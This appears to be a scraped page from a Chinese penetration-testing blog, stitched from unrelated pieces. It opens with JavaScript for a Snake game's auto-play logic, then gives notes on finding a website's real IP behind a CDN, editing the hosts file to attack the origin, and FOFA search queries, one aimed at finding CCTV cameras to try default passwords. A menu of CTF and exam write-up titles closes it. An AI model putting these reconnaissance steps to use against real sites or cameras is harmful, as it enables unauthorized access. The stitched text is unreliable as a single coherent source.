    let validMoves = moves.filter(move => {
        let nextPos = {x: head.x + move.x, y: head.y + move.y};
        // 撞墙/撞自己检测
        if (this.checkCollision(nextPos)) return false;
        // 反向掉头检测
        if (move.x === -this.velocity.x && move.y === -this.velocity.y) return false;
        return true;
    });

    // --- 第二步：给每个方向打分 ---
    // 评分标准：距离食物越近越好，但前提是空间必须足够
    let bestMove = null;
    let maxSpace = -1;
    let minDist = Infinity;

    // 如果没有可行方向，就只能等死了，保持原速
    if (validMoves.length > 0) {
        
        // 遍历所有可行方向
        validMoves.forEach(move => {
            let nextPos = {x: head.x + move.x, y: head.y + move.y};
            
            // 1. 计算该方向的“生存空间”
            // 我们只需要检测空间是否大于蛇的长度。如果空间 > 蛇长，说明进去后能转得开
            let space = this.countFreeSpace(nextPos.x, nextPos.y, this.snake.length + 5);
            
            // 2. 计算距离食物的距离
            let dist = Math.abs(nextPos.x - food.x) + Math.abs(nextPos.y - food.y);

            move.score = 0;
            move.space = space;
            move.dist = dist;
        });

        // --- 决策逻辑 ---
        
        // 策略 A: 优先找“空间充足”且“距离最近”的路
        // 过滤掉那些空间极其狭窄的死胡同 (空间 < 蛇身长度)
        let safeMoves = validMoves.filter(m => m.space > this.snake.length);

        if (safeMoves.length > 0) {
            // 如果有安全的路，选离食物最近的
            safeMoves.sort((a, b) => a.dist - b.dist);
            bestMove = safeMoves[0];
        } else {
            // 策略 B: 如果所有路都是死胡同（或者空间都不够），
            // 此时不要管食物了！选一个空间最大的方向苟延残喘，等待尾巴空出位置。
            validMoves.sort((a, b) => b.space - a.space);
            bestMove = validMoves[0];
        }
        
        this.velocity = bestMove;
    }

    // 执行原始逻辑
    this.originalUpdate();
};

查找真IP

CDN功能： 缓存和保护网站

因为cdn服务架构简单，所以几乎绝对防御，但是防不住ddos

如何绕过cdn？

http://cdn.chinaz.com/

https://ping.chinaz.com/

如果目标网站出现的ip都是不一样，说明使用了cdn

考虑使用冷门ip，因为这些第三世界国家可能没有cdn

dns查询

https://dnsdb.io/zh-cn/

微步在线

https://x.threatbook.cn/

dns和ip查询

http://viewdns.info/

tracert www.cctv.com

追踪去目标经历了多少跳，把数据包ttl调整为1，2，3，4.。。。。。直到目标位置，此时可以看到每个处理这个数据包的路由器ip地址是什么

中途会发现有的路由器不给你显示ip地址（骨干路由器，做了ip屏蔽不给外人显示ip）

ping人的时候TTL=64 TTL指time to live

使用邮件，pop3 smtp有概率可以看到cdn背后的目标

点击显示邮件原文绕过cloudflare

全网扫ip

https://github.com/superfish9/hackcdn

https://github.com/boy-hack/w8fuckcdn

host修改

确定目标本尊ip之后，需要修改自己电脑的host文件才能正确攻击

C:\Windows\System32\drivers\etc\hosts

电脑解析ip地址优先解析hosts文件

网络空间搜索引擎

https://fofa.info/

body="发送验证码" && country="CN"

查找网页中包含“发送验证码”，且位于中国的网站

app="CCTV-Cameras"

查找监控摄像头，根据找到的目标特征，去搜索默认密码

port="80"

只搜索某个端口

region="Zhejiang" && host="gov.cn" && city="Hangzhou"

限定地区进行信息搜集

进阶渗透测试 on Retr0的小窝

2.7 CISP-PTE 模拟二 全WP

SQL注入（sqlmap读文件）

文件上传

文件包含

常规方法

进阶方法

代码审计

失效的访问控制

综合渗透

key6

key7

key8

2.6-3 综合简单 渗透测试报告

信息收集

文件上传

常规玩法（webshell）

进阶玩法（msf木马）

提权

2.6-2 ctf-命令注入 渗透测试报告

信息收集

漏洞挖掘

提权

2.6-1 DC4渗透测试报告

信息收集

命令执行

提权

2.5 DC靶场之综合渗透

DC-1

flag1

flag2

flag3

flag4

final-flag

拓展

DC-2

flag1

flag2

flag3：

flag4

final-flag

DC-3

2.3-SP PTE模拟全WP

试题一：sql注入

试题二：文件上传

试题三：文件包含

试题四：反序列化

试题五：失效的访问控制

后日谈：综合题

目前发现的一些可能影响考试，需要注意的点

参考文献

2.3 代码审计

场景一：发卡网站

场景二：非法杀猪盘网站

2.2 数字取证

2.2 数字取证

volatility基本语法

常用命令

例题

Suspicion (进程取证)

WIN-xxx.raw (操作系统取证)

mem.raw (用户行为取证)

zy.raw (浏览器历史记录取证)

memory.img (内存密文取证)

OtterCTF.vmem（大型综合深入取证）

L-xxx-xxx.raw (黑客行为取证)

xp-sp3.raw (行为分析取证)

Target.vmem (pc和手机取证)

mem.dump (磁盘加密取证)

2.1 综合练习

XSS注入

文件包含-1

文件包含-2

文件包含-3

命令执行-1

命令执行-2

代码审计

解析：

思路一：

思路二：

2.7 CISP-PTE 模拟二全WP

2.6-3 综合简单渗透测试报告

2.6-2 ctf-命令注入渗透测试报告